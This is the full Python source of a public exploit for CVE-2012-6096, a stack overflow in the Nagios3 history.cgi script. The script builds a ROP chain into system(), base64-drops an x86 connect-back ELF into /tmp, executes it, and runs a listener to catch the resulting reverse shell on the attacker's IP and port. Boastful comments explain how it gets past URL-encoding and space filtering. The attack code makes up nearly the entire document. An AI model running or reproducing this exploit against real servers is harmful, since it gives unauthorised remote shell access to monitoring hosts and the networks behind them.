Nagios3 – ‘history.cgi’ Remote Command Execution
#!/usr/bin/python # # CVE-2012-6096 - Nagios history.cgi Remote Command Execution # =========================================================== # Another year, another reincarnation of classic and trivial # bugs to exploit. This time we attack Nagios.. or more # specifically, one of its CGI scripts. [1] # # The Nagios code is an amazing monster. It reminds me a # lot of some of my early experiments in C, back when I # still had no clue what I was doing. (Ok, fair enough, # I still don't, heheh.) # # Ok, I'll come clean. This exploit doesn't exactly # defeat FORTIFY. This approach is likely to work just FINE # on other crippled distro's though, think of stuff like # ArchLinux, Slackware, and all those Gentoo kids twiddling # their CFLAGS. [2] (Oh and hey, BSD and stuff!) # # I do some very stupid shit(tm) here that might make an # exploit coder or two cringe. My sincere apologies for that. # # Cold beer goes out to my friends who are still practicing # this dying but interesting type of art: # # * brainsmoke * masc * iZsh * skier_ * steve * # # -- blasty <blasty@fail0verflow.com> / 2013-01-08 # # References: # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109 # [2] http://www.funroll-loops.info/ # # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n! # Next time you rebrand an exploit at least show some diligence and # add some additional targets or improvements, so we can all profit! # # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy! # import os, sys, socket, struct, urllib, threading, SocketServer, time from base64 import b64encode SocketServer.TCPServer.allow_reuse_address = True targets = [ { "name" : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)", "smash_len" : 0xc37, "unescape" : 0x0804b620, "popret" : 0x08048fe4, "hostbuf" : 0x080727a0, "system_plt" : 0x08048c7c } ] def u32h(v): return struct.pack("<L", v).encode('hex') def u32(v, hex = False): return struct.pack("<L", v) # Tiny ELF stub based on: # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html def make_elf(sc): elf_head = \ "7f454c46010101000000000000000000" + \ "02000300010000005480040834000000" + \ "00000000000000003400200001000000" + \ "00000000010000000000000000800408" + \ "00800408" + u32h(0x54+len(sc))*2 + \ "0500000000100000" return elf_head.decode("hex") + sc # interactive connectback listener class connectback_shell(SocketServer.BaseRequestHandler): def handle(self): print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0] print "[**] This shell is powered by insane amounts of illegal substances" s = self.request import termios, tty, select, os old_settings = termios.tcgetattr(0) try: tty.setcbreak(0) c = True os.write(s.fileno(), "id\nuname -a\n") while c: for i in select.select([0, s.fileno()], [], [], 0)[0]: c = os.read(i, 1024) if c: if i == 0: os.write(1, c) os.write(s.fileno() if i == 0 else 1, c) except KeyboardInterrupt: pass finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) return class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass if len(sys.argv) != 5: print "\n >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>" print " >> \"Jetzt geht's Nagi-los!\"\n" print " usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0]) print " targets:" i = 0 for target in targets: print " %02d) %s" % (i, target['name']) i = i+1 print "" sys.exit(-1) target_no = int(sys.argv[4]) if target_no < 0 or target_no > len(targets): print "Invalid target specified" sys.exit(-1) target = targets[ int(sys.argv[4]) ] # comment this shit if you want to setup your own listener server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() # shellcode to be executed # vanilla x86/linux connectback written by a dutch gentleman # close to a decade ago. cback = \ "31c031db31c951b10651b10151b10251" + \ "89e1b301b066cd8089c231c031c95151" + \ "68badc0ded6668b0efb102665189e7b3" + \ "1053575289e1b303b066cd8031c939c1" + \ "740631c0b001cd8031c0b03f89d3cd80" + \ "31c0b03f89d3b101cd8031c0b03f89d3" + \ "b102cd8031c031d250686e2f7368682f" + \ "2f626989e3505389e1b00bcd8031c0b0" + \ "01cd80" cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex")) cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex")) # Eww.. so there's some characters that dont survive the trip.. # yes, even with the unescape() call in our return-chain.. # initially I was going to use some /dev/tcp based connectback.. # but /dev/tcp isn't available/accesible everywhere, so instead # we drop an ELF into /tmp and execute that. The '>' characters # also doesn't survive the trip so we work around this by using # the tee(1) utility. # If your target has a /tmp that is mounted with noexec flag, # is severely firewalled or guarded by trained (watch)dogs.. # you might want to reconsider this approach! cmd = \ "rm -rf /tmp/x;" + \ "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \ "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;" # Spaces (0x20) are also a problem, they always ends up as '+' :-( # so apply some olde trick and rely on $IFS for argv separation cmd = cmd.replace(" ", "${IFS}") # Basic return-2-whatever/ROP chain. # We return into cgi_input_unescape() to get rid of # URL escaping in a static buffer we control, and then # we return into system@plt for the moneyshot. # # Ergo sum: # There's no memoryleak or whatever needed to leak libc # base and bypass ASLR.. This entire Nagios PoS is stringed # together by system() calls, so pretty much every single one # of their little silly binaries comes with a PLT entry for # system(), huzzah! rop = [ u32(target['unescape']), u32(target['popret']), u32(target['hostbuf']), u32(target['system_plt']), u32(0xdeafbabe), u32(target['hostbuf']) ] # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot # out of the box. Building HTTP requests from scratch is so 90ies.. params = urllib.urlencode({ 'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop) }) print "[>>] CL1Q .." f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params) print "[>>] CL4Q .." f.read() # TRIAL PERIOD ACTIVE, LOL! time.sleep(0x666) server.shutdown() |